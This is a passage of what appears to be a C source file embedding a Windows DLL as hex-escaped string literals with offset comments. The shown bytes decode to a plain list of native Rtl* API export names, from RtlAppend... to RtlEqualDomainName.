"\x6F\x64\x65\x53\x74\x72\x69\x6E\x67\x00\x52\x74\x6C\x41\x70\x70" //odeString.RtlApp /* 00A740 */ "\x65\x6E\x64\x41\x73\x63\x69\x69\x7A\x54\x6F\x53\x74\x72\x69\x6E" //endAsciizToStrin /* 00A760 */ "\x67\x00\x52\x74\x6C\x41\x70\x70\x65\x6E\x64\x50\x61\x74\x68\x45" //g.RtlAppendPathE /* 00A780 */ "\x6C\x65\x6D\x65\x6E\x74\x00\x52\x74\x6C\x41\x70\x70\x65\x6E\x64" //lement.RtlAppend /* 00A7A0 */ "\x53\x74\x72\x69\x6E\x67\x54\x6F\x53\x74\x72\x69\x6E\x67\x00\x52" //StringToString.R /* 00A7C0 */ "\x74\x6C\x41\x70\x70\x65\x6E\x64\x55\x6E\x69\x63\x6F\x64\x65\x53" //tlAppendUnicodeS /* 00A7E0 */ "\x74\x72\x69\x6E\x67\x54\x6F\x53\x74\x72\x69\x6E\x67\x00\x52\x74" //tringToString.Rt /* 00A800 */ "\x6C\x41\x70\x70\x65\x6E\x64\x55\x6E\x69\x63\x6F\x64\x65\x54\x6F" //lAppendUnicodeTo /* 00A820 */ "\x53\x74\x72\x69\x6E\x67\x00\x52\x74\x6C\x41\x70\x70\x6C\x69\x63" //String.RtlApplic /* 00A840 */ "\x61\x74\x69\x6F\x6E\x56\x65\x72\x69\x66\x69\x65\x72\x53\x74\x6F" //ationVerifierSto /* 00A860 */ "\x70\x00\x52\x74\x6C\x41\x70\x70\x6C\x79\x52\x58\x61\x63\x74\x00" //p.RtlApplyRXact. /* 00A880 */ "\x52\x74\x6C\x41\x70\x70\x6C\x79\x52\x58\x61\x63\x74\x4E\x6F\x46" //RtlApplyRXactNoF /* 00A8A0 */ "\x6C\x75\x73\x68\x00\x52\x74\x6C\x41\x72\x65\x41\x6C\x6C\x41\x63" //lush.RtlAreAllAc /* 00A8C0 */ "\x63\x65\x73\x73\x65\x73\x47\x72\x61\x6E\x74\x65\x64\x00\x52\x74" //cessesGranted.Rt /* 00A8E0 */ "\x6C\x41\x72\x65\x41\x6E\x79\x41\x63\x63\x65\x73\x73\x65\x73\x47" //lAreAnyAccessesG /* 00A900 */ "\x72\x61\x6E\x74\x65\x64\x00\x52\x74\x6C\x41\x72\x65\x42\x69\x74" //ranted.RtlAreBit /* 00A920 */ "\x73\x43\x6C\x65\x61\x72\x00\x52\x74\x6C\x41\x72\x65\x42\x69\x74" //sClear.RtlAreBit /* 00A940 */ "\x73\x53\x65\x74\x00\x52\x74\x6C\x41\x73\x73\x65\x72\x74\x00\x52" //sSet.RtlAssert.R /* 00A960 */ "\x74\x6C\x41\x73\x73\x65\x72\x74\x32\x00\x52\x74\x6C\x43\x61\x6E" //tlAssert2.RtlCan /* 00A980 */ "\x63\x65\x6C\x54\x69\x6D\x65\x72\x00\x52\x74\x6C\x43\x61\x70\x74" //celTimer.RtlCapt /* 00A9A0 */ "\x75\x72\x65\x43\x6F\x6E\x74\x65\x78\x74\x00\x52\x74\x6C\x43\x61" //ureContext.RtlCa /* 00A9C0 */ "\x70\x74\x75\x72\x65\x53\x74\x61\x63\x6B\x42\x61\x63\x6B\x54\x72" //ptureStackBackTr /* 00A9E0 */ "\x61\x63\x65\x00\x52\x74\x6C\x43\x61\x70\x74\x75\x72\x65\x53\x74" //ace.RtlCaptureSt /* 00AA00 */ "\x61\x63\x6B\x43\x6F\x6E\x74\x65\x78\x74\x00\x52\x74\x6C\x43\x68" //ackContext.RtlCh /* 00AA20 */ "\x61\x72\x54\x6F\x49\x6E\x74\x65\x67\x65\x72\x00\x52\x74\x6C\x43" //arToInteger.RtlC /* 00AA40 */ "\x68\x65\x63\x6B\x46\x6F\x72\x4F\x72\x70\x68\x61\x6E\x65\x64\x43" //heckForOrphanedC /* 00AA60 */ "\x72\x69\x74\x69\x63\x61\x6C\x53\x65\x63\x74\x69\x6F\x6E\x73\x00" //riticalSections. /* 00AA80 */ "\x52\x74\x6C\x43\x68\x65\x63\x6B\x50\x72\x6F\x63\x65\x73\x73\x50" //RtlCheckProcessP /* 00AAA0 */ "\x61\x72\x61\x6D\x65\x74\x65\x72\x73\x00\x52\x74\x6C\x43\x68\x65" //arameters.RtlChe /* 00AAC0 */ "\x63\x6B\x52\x65\x67\x69\x73\x74\x72\x79\x4B\x65\x79\x00\x52\x74" //ckRegistryKey.Rt /* 00AAE0 */ "\x6C\x43\x6C\x65\x61\x72\x41\x6C\x6C\x42\x69\x74\x73\x00\x52\x74" //lClearAllBits.Rt /* 00AB00 */ "\x6C\x43\x6C\x65\x61\x72\x42\x69\x74\x73\x00\x52\x74\x6C\x43\x6C" //lClearBits.RtlCl /* 00AB20 */ "\x6F\x6E\x65\x4D\x65\x6D\x6F\x72\x79\x53\x74\x72\x65\x61\x6D\x00" //oneMemoryStream. /* 00AB40 */ "\x52\x74\x6C\x43\x6F\x6D\x6D\x69\x74\x4D\x65\x6D\x6F\x72\x79\x53" //RtlCommitMemoryS /* 00AB60 */ "\x74\x72\x65\x61\x6D\x00\x52\x74\x6C\x43\x6F\x6D\x70\x61\x63\x74" //tream.RtlCompact /* 00AB80 */ "\x48\x65\x61\x70\x00\x52\x74\x6C\x43\x6F\x6D\x70\x61\x72\x65\x4D" //Heap.RtlCompareM /* 00ABA0 */ "\x65\x6D\x6F\x72\x79\x00\x52\x74\x6C\x43\x6F\x6D\x70\x61\x72\x65" //emory.RtlCompare /* 00ABC0 */ "\x4D\x65\x6D\x6F\x72\x79\x55\x6C\x6F\x6E\x67\x00\x52\x74\x6C\x43" //MemoryUlong.RtlC /* 00ABE0 */ "\x6F\x6D\x70\x61\x72\x65\x53\x74\x72\x69\x6E\x67\x00\x52\x74\x6C" //ompareString.Rtl /* 00AC00 */ "\x43\x6F\x6D\x70\x61\x72\x65\x55\x6E\x69\x63\x6F\x64\x65\x53\x74" //CompareUnicodeSt /* 00AC20 */ "\x72\x69\x6E\x67\x00\x52\x74\x6C\x43\x6F\x6D\x70\x72\x65\x73\x73" //ring.RtlCompress /* 00AC40 */ "\x42\x75\x66\x66\x65\x72\x00\x52\x74\x6C\x43\x6F\x6D\x70\x75\x74" //Buffer.RtlComput /* 00AC60 */ "\x65\x43\x72\x63\x33\x32\x00\x52\x74\x6C\x43\x6F\x6D\x70\x75\x74" //eCrc32.RtlComput /* 00AC80 */ "\x65\x49\x6D\x70\x6F\x72\x74\x54\x61\x62\x6C\x65\x48\x61\x73\x68" //eImportTableHash /* 00ACA0 */ "\x00\x52\x74\x6C\x43\x6F\x6D\x70\x75\x74\x65\x50\x72\x69\x76\x61" //.RtlComputePriva /* 00ACC0 */ "\x74\x69\x7A\x65\x64\x44\x6C\x6C\x4E\x61\x6D\x65\x5F\x55\x00\x52" //tizedDllName_U.R /* 00ACE0 */ "\x74\x6C\x43\x6F\x6E\x73\x6F\x6C\x65\x4D\x75\x6C\x74\x69\x42\x79" //tlConsoleMultiBy /* 00AD00 */ "\x74\x65\x54\x6F\x55\x6E\x69\x63\x6F\x64\x65\x4E\x00\x52\x74\x6C" //teToUnicodeN.Rtl /* 00AD20 */ "\x43\x6F\x6E\x76\x65\x72\x74\x45\x78\x63\x6C\x75\x73\x69\x76\x65" //ConvertExclusive /* 00AD40 */ "\x54\x6F\x53\x68\x61\x72\x65\x64\x00\x52\x74\x6C\x43\x6F\x6E\x76" //ToShared.RtlConv /* 00AD60 */ "\x65\x72\x74\x4C\x6F\x6E\x67\x54\x6F\x4C\x61\x72\x67\x65\x49\x6E" //ertLongToLargeIn /* 00AD80 */ "\x74\x65\x67\x65\x72\x00\x52\x74\x6C\x43\x6F\x6E\x76\x65\x72\x74" //teger.RtlConvert /* 00ADA0 */ "\x50\x72\x6F\x70\x65\x72\x74\x79\x54\x6F\x56\x61\x72\x69\x61\x6E" //PropertyToVarian /* 00ADC0 */ "\x74\x00\x52\x74\x6C\x43\x6F\x6E\x76\x65\x72\x74\x53\x68\x61\x72" //t.RtlConvertShar /* 00ADE0 */ "\x65\x64\x54\x6F\x45\x78\x63\x6C\x75\x73\x69\x76\x65\x00\x52\x74" //edToExclusive.Rt /* 00AE00 */ "\x6C\x43\x6F\x6E\x76\x65\x72\x74\x53\x69\x64\x54\x6F\x55\x6E\x69" //lConvertSidToUni /* 00AE20 */ "\x63\x6F\x64\x65\x53\x74\x72\x69\x6E\x67\x00\x52\x74\x6C\x43\x6F" //codeString.RtlCo /* 00AE40 */ "\x6E\x76\x65\x72\x74\x54\x6F\x41\x75\x74\x6F\x49\x6E\x68\x65\x72" //nvertToAutoInher /* 00AE60 */ "\x69\x74\x53\x65\x63\x75\x72\x69\x74\x79\x4F\x62\x6A\x65\x63\x74" //itSecurityObject /* 00AE80 */ "\x00\x52\x74\x6C\x43\x6F\x6E\x76\x65\x72\x74\x55\x69\x4C\x69\x73" //.RtlConvertUiLis /* 00AEA0 */ "\x74\x54\x6F\x41\x70\x69\x4C\x69\x73\x74\x00\x52\x74\x6C\x43\x6F" //tToApiList.RtlCo /* 00AEC0 */ "\x6E\x76\x65\x72\x74\x55\x6C\x6F\x6E\x67\x54\x6F\x4C\x61\x72\x67" //nvertUlongToLarg /* 00AEE0 */ "\x65\x49\x6E\x74\x65\x67\x65\x72\x00\x52\x74\x6C\x43\x6F\x6E\x76" //eInteger.RtlConv /* 00AF00 */ "\x65\x72\x74\x56\x61\x72\x69\x61\x6E\x74\x54\x6F\x50\x72\x6F\x70" //ertVariantToProp /* 00AF20 */ "\x65\x72\x74\x79\x00\x52\x74\x6C\x43\x6F\x70\x79\x4C\x75\x69\x64" //erty.RtlCopyLuid /* 00AF40 */ "\x00\x52\x74\x6C\x43\x6F\x70\x79\x4C\x75\x69\x64\x41\x6E\x64\x41" //.RtlCopyLuidAndA /* 00AF60 */ "\x74\x74\x72\x69\x62\x75\x74\x65\x73\x41\x72\x72\x61\x79\x00\x52" //ttributesArray.R /* 00AF80 */ "\x74\x6C\x43\x6F\x70\x79\x4D\x65\x6D\x6F\x72\x79\x53\x74\x72\x65" //tlCopyMemoryStre /* 00AFA0 */ "\x61\x6D\x54\x6F\x00\x52\x74\x6C\x43\x6F\x70\x79\x4F\x75\x74\x4F" //amTo.RtlCopyOutO /* 00AFC0 */ "\x66\x50\x72\x6F\x63\x65\x73\x73\x4D\x65\x6D\x6F\x72\x79\x53\x74" //fProcessMemorySt /* 00AFE0 */ "\x72\x65\x61\x6D\x54\x6F\x00\x52\x74\x6C\x43\x6F\x70\x79\x52\x61" //reamTo.RtlCopyRa /* 00B000 */ "\x6E\x67\x65\x4C\x69\x73\x74\x00\x52\x74\x6C\x43\x6F\x70\x79\x53" //ngeList.RtlCopyS /* 00B020 */ "\x65\x63\x75\x72\x69\x74\x79\x44\x65\x73\x63\x72\x69\x70\x74\x6F" //ecurityDescripto /* 00B040 */ "\x72\x00\x52\x74\x6C\x43\x6F\x70\x79\x53\x69\x64\x00\x52\x74\x6C" //r.RtlCopySid.Rtl /* 00B060 */ "\x43\x6F\x70\x79\x53\x69\x64\x41\x6E\x64\x41\x74\x74\x72\x69\x62" //CopySidAndAttrib /* 00B080 */ "\x75\x74\x65\x73\x41\x72\x72\x61\x79\x00\x52\x74\x6C\x43\x6F\x70" //utesArray.RtlCop /* 00B0A0 */ "\x79\x53\x74\x72\x69\x6E\x67\x00\x52\x74\x6C\x43\x6F\x70\x79\x55" //yString.RtlCopyU /* 00B0C0 */ "\x6E\x69\x63\x6F\x64\x65\x53\x74\x72\x69\x6E\x67\x00\x52\x74\x6C" //nicodeString.Rtl /* 00B0E0 */ "\x43\x72\x65\x61\x74\x65\x41\x63\x6C\x00\x52\x74\x6C\x43\x72\x65" //CreateAcl.RtlCre /* 00B100 */ "\x61\x74\x65\x41\x63\x74\x69\x76\x61\x74\x69\x6F\x6E\x43\x6F\x6E" //ateActivationCon /* 00B120 */ "\x74\x65\x78\x74\x00\x52\x74\x6C\x43\x72\x65\x61\x74\x65\x41\x6E" //text.RtlCreateAn /* 00B140 */ "\x64\x53\x65\x74\x53\x44\x00\x52\x74\x6C\x43\x72\x65\x61\x74\x65" //dSetSD.RtlCreate /* 00B160 */ "\x41\x74\x6F\x6D\x54\x61\x62\x6C\x65\x00\x52\x74\x6C\x43\x72\x65" //AtomTable.RtlCre /* 00B180 */ "\x61\x74\x65\x42\x6F\x6F\x74\x53\x74\x61\x74\x75\x73\x44\x61\x74" //ateBootStatusDat /* 00B1A0 */ "\x61\x46\x69\x6C\x65\x00\x52\x74\x6C\x43\x72\x65\x61\x74\x65\x45" //aFile.RtlCreateE /* 00B1C0 */ "\x6E\x76\x69\x72\x6F\x6E\x6D\x65\x6E\x74\x00\x52\x74\x6C\x43\x72" //nvironment.RtlCr /* 00B1E0 */ "\x65\x61\x74\x65\x48\x65\x61\x70\x00\x52\x74\x6C\x43\x72\x65\x61" //eateHeap.RtlCrea /* 00B200 */ "\x74\x65\x50\x72\x6F\x63\x65\x73\x73\x50\x61\x72\x61\x6D\x65\x74" //teProcessParamet /* 00B220 */ "\x65\x72\x73\x00\x52\x74\x6C\x43\x72\x65\x61\x74\x65\x51\x75\x65" //ers.RtlCreateQue /* 00B240 */ "\x72\x79\x44\x65\x62\x75\x67\x42\x75\x66\x66\x65\x72\x00\x52\x74" //ryDebugBuffer.Rt /* 00B260 */ "\x6C\x43\x72\x65\x61\x74\x65\x52\x65\x67\x69\x73\x74\x72\x79\x4B" //lCreateRegistryK /* 00B280 */ "\x65\x79\x00\x52\x74\x6C\x43\x72\x65\x61\x74\x65\x53\x65\x63\x75" //ey.RtlCreateSecu /* 00B2A0 */ "\x72\x69\x74\x79\x44\x65\x73\x63\x72\x69\x70\x74\x6F\x72\x00\x52" //rityDescriptor.R /* 00B2C0 */ "\x74\x6C\x43\x72\x65\x61\x74\x65\x53\x65\x72\x76\x69\x63\x65\x53" //tlCreateServiceS /* 00B2E0 */ "\x69\x64\x00\x52\x74\x6C\x43\x72\x65\x61\x74\x65\x53\x79\x73\x74" //id.RtlCreateSyst /* 00B300 */ "\x65\x6D\x56\x6F\x6C\x75\x6D\x65\x49\x6E\x66\x6F\x72\x6D\x61\x74" //emVolumeInformat /* 00B320 */ "\x69\x6F\x6E\x46\x6F\x6C\x64\x65\x72\x00\x52\x74\x6C\x43\x72\x65" //ionFolder.RtlCre /* 00B340 */ "\x61\x74\x65\x54\x61\x67\x48\x65\x61\x70\x00\x52\x74\x6C\x43\x72" //ateTagHeap.RtlCr /* 00B360 */ "\x65\x61\x74\x65\x54\x69\x6D\x65\x72\x00\x52\x74\x6C\x43\x72\x65" //eateTimer.RtlCre /* 00B380 */ "\x61\x74\x65\x54\x69\x6D\x65\x72\x51\x75\x65\x75\x65\x00\x52\x74" //ateTimerQueue.Rt /* 00B3A0 */ "\x6C\x43\x72\x65\x61\x74\x65\x55\x6E\x69\x63\x6F\x64\x65\x53\x74" //lCreateUnicodeSt /* 00B3C0 */ "\x72\x69\x6E\x67\x00\x52\x74\x6C\x43\x72\x65\x61\x74\x65\x55\x6E" //ring.RtlCreateUn /* 00B3E0 */ "\x69\x63\x6F\x64\x65\x53\x74\x72\x69\x6E\x67\x46\x72\x6F\x6D\x41" //icodeStringFromA /* 00B400 */ "\x73\x63\x69\x69\x7A\x00\x52\x74\x6C\x43\x72\x65\x61\x74\x65\x55" //sciiz.RtlCreateU /* 00B420 */ "\x73\x65\x72\x50\x72\x6F\x63\x65\x73\x73\x00\x52\x74\x6C\x43\x72" //serProcess.RtlCr /* 00B440 */ "\x65\x61\x74\x65\x55\x73\x65\x72\x53\x65\x63\x75\x72\x69\x74\x79" //eateUserSecurity /* 00B460 */ "\x4F\x62\x6A\x65\x63\x74\x00\x52\x74\x6C\x43\x72\x65\x61\x74\x65" //Object.RtlCreate /* 00B480 */ "\x55\x73\x65\x72\x54\x68\x72\x65\x61\x64\x00\x52\x74\x6C\x43\x75" //UserThread.RtlCu /* 00B4A0 */ "\x73\x74\x6F\x6D\x43\x50\x54\x6F\x55\x6E\x69\x63\x6F\x64\x65\x4E" //stomCPToUnicodeN /* 00B4C0 */ "\x00\x52\x74\x6C\x43\x75\x74\x6F\x76\x65\x72\x54\x69\x6D\x65\x54" //.RtlCutoverTimeT /* 00B4E0 */ "\x6F\x53\x79\x73\x74\x65\x6D\x54\x69\x6D\x65\x00\x52\x74\x6C\x44" //oSystemTime.RtlD /* 00B500 */ "\x65\x4E\x6F\x72\x6D\x61\x6C\x69\x7A\x65\x50\x72\x6F\x63\x65\x73" //eNormalizeProces /* 00B520 */ "\x73\x50\x61\x72\x61\x6D\x73\x00\x52\x74\x6C\x44\x65\x61\x63\x74" //sParams.RtlDeact /* 00B540 */ "\x69\x76\x61\x74\x65\x41\x63\x74\x69\x76\x61\x74\x69\x6F\x6E\x43" //ivateActivationC /* 00B560 */ "\x6F\x6E\x74\x65\x78\x74\x00\x52\x74\x6C\x44\x65\x61\x63\x74\x69" //ontext.RtlDeacti /* 00B580 */ "\x76\x61\x74\x65\x41\x63\x74\x69\x76\x61\x74\x69\x6F\x6E\x43\x6F" //vateActivationCo /* 00B5A0 */ "\x6E\x74\x65\x78\x74\x55\x6E\x73\x61\x66\x65\x46\x61\x73\x74\x00" //ntextUnsafeFast. /* 00B5C0 */ "\x52\x74\x6C\x44\x65\x62\x75\x67\x50\x72\x69\x6E\x74\x54\x69\x6D" //RtlDebugPrintTim /* 00B5E0 */ "\x65\x73\x00\x52\x74\x6C\x44\x65\x63\x6F\x64\x65\x50\x6F\x69\x6E" //es.RtlDecodePoin /* 00B600 */ "\x74\x65\x72\x00\x52\x74\x6C\x44\x65\x63\x6F\x64\x65\x53\x79\x73" //ter.RtlDecodeSys /* 00B620 */ "\x74\x65\x6D\x50\x6F\x69\x6E\x74\x65\x72\x00\x52\x74\x6C\x44\x65" //temPointer.RtlDe /* 00B640 */ "\x63\x6F\x6D\x70\x72\x65\x73\x73\x42\x75\x66\x66\x65\x72\x00\x52" //compressBuffer.R /* 00B660 */ "\x74\x6C\x44\x65\x63\x6F\x6D\x70\x72\x65\x73\x73\x46\x72\x61\x67" //tlDecompressFrag /* 00B680 */ "\x6D\x65\x6E\x74\x00\x52\x74\x6C\x44\x65\x66\x61\x75\x6C\x74\x4E" //ment.RtlDefaultN /* 00B6A0 */ "\x70\x41\x63\x6C\x00\x52\x74\x6C\x44\x65\x6C\x65\x74\x65\x00\x52" //pAcl.RtlDelete.R /* 00B6C0 */ "\x74\x6C\x44\x65\x6C\x65\x74\x65\x41\x63\x65\x00\x52\x74\x6C\x44" //tlDeleteAce.RtlD /* 00B6E0 */ "\x65\x6C\x65\x74\x65\x41\x74\x6F\x6D\x46\x72\x6F\x6D\x41\x74\x6F" //eleteAtomFromAto /* 00B700 */ "\x6D\x54\x61\x62\x6C\x65\x00\x52\x74\x6C\x44\x65\x6C\x65\x74\x65" //mTable.RtlDelete /* 00B720 */ "\x43\x72\x69\x74\x69\x63\x61\x6C\x53\x65\x63\x74\x69\x6F\x6E\x00" //CriticalSection. /* 00B740 */ "\x52\x74\x6C\x44\x65\x6C\x65\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74" //RtlDeleteElement /* 00B760 */ "\x47\x65\x6E\x65\x72\x69\x63\x54\x61\x62\x6C\x65\x00\x52\x74\x6C" //GenericTable.Rtl /* 00B780 */ "\x44\x65\x6C\x65\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74\x47\x65\x6E" //DeleteElementGen /* 00B7A0 */ "\x65\x72\x69\x63\x54\x61\x62\x6C\x65\x41\x76\x6C\x00\x52\x74\x6C" //ericTableAvl.Rtl /* 00B7C0 */ "\x44\x65\x6C\x65\x74\x65\x4E\x6F\x53\x70\x6C\x61\x79\x00\x52\x74" //DeleteNoSplay.Rt /* 00B7E0 */ "\x6C\x44\x65\x6C\x65\x74\x65\x4F\x77\x6E\x65\x72\x73\x52\x61\x6E" //lDeleteOwnersRan /* 00B800 */ "\x67\x65\x73\x00\x52\x74\x6C\x44\x65\x6C\x65\x74\x65\x52\x61\x6E" //ges.RtlDeleteRan /* 00B820 */ "\x67\x65\x00\x52\x74\x6C\x44\x65\x6C\x65\x74\x65\x52\x65\x67\x69" //ge.RtlDeleteRegi /* 00B840 */ "\x73\x74\x72\x79\x56\x61\x6C\x75\x65\x00\x52\x74\x6C\x44\x65\x6C" //stryValue.RtlDel /* 00B860 */ "\x65\x74\x65\x52\x65\x73\x6F\x75\x72\x63\x65\x00\x52\x74\x6C\x44" //eteResource.RtlD /* 00B880 */ "\x65\x6C\x65\x74\x65\x53\x65\x63\x75\x72\x69\x74\x79\x4F\x62\x6A" //eleteSecurityObj /* 00B8A0 */ "\x65\x63\x74\x00\x52\x74\x6C\x44\x65\x6C\x65\x74\x65\x54\x69\x6D" //ect.RtlDeleteTim /* 00B8C0 */ "\x65\x72\x00\x52\x74\x6C\x44\x65\x6C\x65\x74\x65\x54\x69\x6D\x65" //er.RtlDeleteTime /* 00B8E0 */ "\x72\x51\x75\x65\x75\x65\x00\x52\x74\x6C\x44\x65\x6C\x65\x74\x65" //rQueue.RtlDelete /* 00B900 */ "\x54\x69\x6D\x65\x72\x51\x75\x65\x75\x65\x45\x78\x00\x52\x74\x6C" //TimerQueueEx.Rtl /* 00B920 */ "\x44\x65\x72\x65\x67\x69\x73\x74\x65\x72\x57\x61\x69\x74\x00\x52" //DeregisterWait.R /* 00B940 */ "\x74\x6C\x44\x65\x72\x65\x67\x69\x73\x74\x65\x72\x57\x61\x69\x74" //tlDeregisterWait /* 00B960 */ "\x45\x78\x00\x52\x74\x6C\x44\x65\x73\x74\x72\x6F\x79\x41\x74\x6F" //Ex.RtlDestroyAto /* 00B980 */ "\x6D\x54\x61\x62\x6C\x65\x00\x52\x74\x6C\x44\x65\x73\x74\x72\x6F" //mTable.RtlDestro /* 00B9A0 */ "\x79\x45\x6E\x76\x69\x72\x6F\x6E\x6D\x65\x6E\x74\x00\x52\x74\x6C" //yEnvironment.Rtl /* 00B9C0 */ "\x44\x65\x73\x74\x72\x6F\x79\x48\x61\x6E\x64\x6C\x65\x54\x61\x62" //DestroyHandleTab /* 00B9E0 */ "\x6C\x65\x00\x52\x74\x6C\x44\x65\x73\x74\x72\x6F\x79\x48\x65\x61" //le.RtlDestroyHea /* 00BA00 */ "\x70\x00\x52\x74\x6C\x44\x65\x73\x74\x72\x6F\x79\x50\x72\x6F\x63" //p.RtlDestroyProc /* 00BA20 */ "\x65\x73\x73\x50\x61\x72\x61\x6D\x65\x74\x65\x72\x73\x00\x52\x74" //essParameters.Rt /* 00BA40 */ "\x6C\x44\x65\x73\x74\x72\x6F\x79\x51\x75\x65\x72\x79\x44\x65\x62" //lDestroyQueryDeb /* 00BA60 */ "\x75\x67\x42\x75\x66\x66\x65\x72\x00\x52\x74\x6C\x44\x65\x74\x65" //ugBuffer.RtlDete /* 00BA80 */ "\x72\x6D\x69\x6E\x65\x44\x6F\x73\x50\x61\x74\x68\x4E\x61\x6D\x65" //rmineDosPathName /* 00BAA0 */ "\x54\x79\x70\x65\x5F\x55\x00\x52\x74\x6C\x44\x6C\x6C\x53\x68\x75" //Type_U.RtlDllShu /* 00BAC0 */ "\x74\x64\x6F\x77\x6E\x49\x6E\x50\x72\x6F\x67\x72\x65\x73\x73\x00" //tdownInProgress. /* 00BAE0 */ "\x52\x74\x6C\x44\x6E\x73\x48\x6F\x73\x74\x4E\x61\x6D\x65\x54\x6F" //RtlDnsHostNameTo /* 00BB00 */ "\x43\x6F\x6D\x70\x75\x74\x65\x72\x4E\x61\x6D\x65\x00\x52\x74\x6C" //ComputerName.Rtl /* 00BB20 */ "\x44\x6F\x65\x73\x46\x69\x6C\x65\x45\x78\x69\x73\x74\x73\x5F\x55" //DoesFileExists_U /* 00BB40 */ "\x00\x52\x74\x6C\x44\x6F\x73\x41\x70\x70\x6C\x79\x46\x69\x6C\x65" //.RtlDosApplyFile /* 00BB60 */ "\x49\x73\x6F\x6C\x61\x74\x69\x6F\x6E\x52\x65\x64\x69\x72\x65\x63" //IsolationRedirec /* 00BB80 */ "\x74\x69\x6F\x6E\x5F\x55\x73\x74\x72\x00\x52\x74\x6C\x44\x6F\x73" //tion_Ustr.RtlDos /* 00BBA0 */ "\x50\x61\x74\x68\x4E\x61\x6D\x65\x54\x6F\x4E\x74\x50\x61\x74\x68" //PathNameToNtPath /* 00BBC0 */ "\x4E\x61\x6D\x65\x5F\x55\x00\x52\x74\x6C\x44\x6F\x73\x53\x65\x61" //Name_U.RtlDosSea /* 00BBE0 */ "\x72\x63\x68\x50\x61\x74\x68\x5F\x55\x00\x52\x74\x6C\x44\x6F\x73" //rchPath_U.RtlDos /* 00BC00 */ "\x53\x65\x61\x72\x63\x68\x50\x61\x74\x68\x5F\x55\x73\x74\x72\x00" //SearchPath_Ustr. /* 00BC20 */ "\x52\x74\x6C\x44\x6F\x77\x6E\x63\x61\x73\x65\x55\x6E\x69\x63\x6F" //RtlDowncaseUnico /* 00BC40 */ "\x64\x65\x43\x68\x61\x72\x00\x52\x74\x6C\x44\x6F\x77\x6E\x63\x61" //deChar.RtlDownca /* 00BC60 */ "\x73\x65\x55\x6E\x69\x63\x6F\x64\x65\x53\x74\x72\x69\x6E\x67\x00" //seUnicodeString. /* 00BC80 */ "\x52\x74\x6C\x44\x75\x6D\x70\x52\x65\x73\x6F\x75\x72\x63\x65\x00" //RtlDumpResource. /* 00BCA0 */ "\x52\x74\x6C\x44\x75\x70\x6C\x69\x63\x61\x74\x65\x55\x6E\x69\x63" //RtlDuplicateUnic /* 00BCC0 */ "\x6F\x64\x65\x53\x74\x72\x69\x6E\x67\x00\x52\x74\x6C\x45\x6D\x70" //odeString.RtlEmp /* 00BCE0 */ "\x74\x79\x41\x74\x6F\x6D\x54\x61\x62\x6C\x65\x00\x52\x74\x6C\x45" //tyAtomTable.RtlE /* 00BD00 */ "\x6E\x61\x62\x6C\x65\x45\x61\x72\x6C\x79\x43\x72\x69\x74\x69\x63" //nableEarlyCritic /* 00BD20 */ "\x61\x6C\x53\x65\x63\x74\x69\x6F\x6E\x45\x76\x65\x6E\x74\x43\x72" //alSectionEventCr /* 00BD40 */ "\x65\x61\x74\x69\x6F\x6E\x00\x52\x74\x6C\x45\x6E\x63\x6F\x64\x65" //eation.RtlEncode /* 00BD60 */ "\x50\x6F\x69\x6E\x74\x65\x72\x00\x52\x74\x6C\x45\x6E\x63\x6F\x64" //Pointer.RtlEncod /* 00BD80 */ "\x65\x53\x79\x73\x74\x65\x6D\x50\x6F\x69\x6E\x74\x65\x72\x00\x52" //eSystemPointer.R /* 00BDA0 */ "\x74\x6C\x45\x6E\x6C\x61\x72\x67\x65\x64\x49\x6E\x74\x65\x67\x65" //tlEnlargedIntege /* 00BDC0 */ "\x72\x4D\x75\x6C\x74\x69\x70\x6C\x79\x00\x52\x74\x6C\x45\x6E\x6C" //rMultiply.RtlEnl /* 00BDE0 */ "\x61\x72\x67\x65\x64\x55\x6E\x73\x69\x67\x6E\x65\x64\x44\x69\x76" //argedUnsignedDiv /* 00BE00 */ "\x69\x64\x65\x00\x52\x74\x6C\x45\x6E\x6C\x61\x72\x67\x65\x64\x55" //ide.RtlEnlargedU /* 00BE20 */ "\x6E\x73\x69\x67\x6E\x65\x64\x4D\x75\x6C\x74\x69\x70\x6C\x79\x00" //nsignedMultiply. /* 00BE40 */ "\x52\x74\x6C\x45\x6E\x74\x65\x72\x43\x72\x69\x74\x69\x63\x61\x6C" //RtlEnterCritical /* 00BE60 */ "\x53\x65\x63\x74\x69\x6F\x6E\x00\x52\x74\x6C\x45\x6E\x75\x6D\x50" //Section.RtlEnumP /* 00BE80 */ "\x72\x6F\x63\x65\x73\x73\x48\x65\x61\x70\x73\x00\x52\x74\x6C\x45" //rocessHeaps.RtlE /* 00BEA0 */ "\x6E\x75\x6D\x65\x72\x61\x74\x65\x47\x65\x6E\x65\x72\x69\x63\x54" //numerateGenericT /* 00BEC0 */ "\x61\x62\x6C\x65\x00\x52\x74\x6C\x45\x6E\x75\x6D\x65\x72\x61\x74" //able.RtlEnumerat /* 00BEE0 */ "\x65\x47\x65\x6E\x65\x72\x69\x63\x54\x61\x62\x6C\x65\x41\x76\x6C" //eGenericTableAvl /* 00BF00 */ "\x00\x52\x74\x6C\x45\x6E\x75\x6D\x65\x72\x61\x74\x65\x47\x65\x6E" //.RtlEnumerateGen /* 00BF20 */ "\x65\x72\x69\x63\x54\x61\x62\x6C\x65\x4C\x69\x6B\x65\x41\x44\x69" //ericTableLikeADi /* 00BF40 */ "\x72\x65\x63\x74\x6F\x72\x79\x00\x52\x74\x6C\x45\x6E\x75\x6D\x65" //rectory.RtlEnume /* 00BF60 */ "\x72\x61\x74\x65\x47\x65\x6E\x65\x72\x69\x63\x54\x61\x62\x6C\x65" //rateGenericTable /* 00BF80 */ "\x57\x69\x74\x68\x6F\x75\x74\x53\x70\x6C\x61\x79\x69\x6E\x67\x00" //WithoutSplaying. /* 00BFA0 */ "\x52\x74\x6C\x45\x6E\x75\x6D\x65\x72\x61\x74\x65\x47\x65\x6E\x65" //RtlEnumerateGene /* 00BFC0 */ "\x72\x69\x63\x54\x61\x62\x6C\x65\x57\x69\x74\x68\x6F\x75\x74\x53" //ricTableWithoutS /* 00BFE0 */ "\x70\x6C\x61\x79\x69\x6E\x67\x41\x76\x6C\x00\x52\x74\x6C\x45\x71" //playingAvl.RtlEq /* 00C000 */ "\x75\x61\x6C\x43\x6F\x6D\x70\x75\x74\x65\x72\x4E\x61\x6D\x65\x00" //ualComputerName. /* 00C020 */ "\x52\x74\x6C\x45\x71\x75\x61\x6C\x44\x6F\x6D\x61\x69\x6E\x4E\x61" //RtlEqualDomainNa /* 00C040 */ 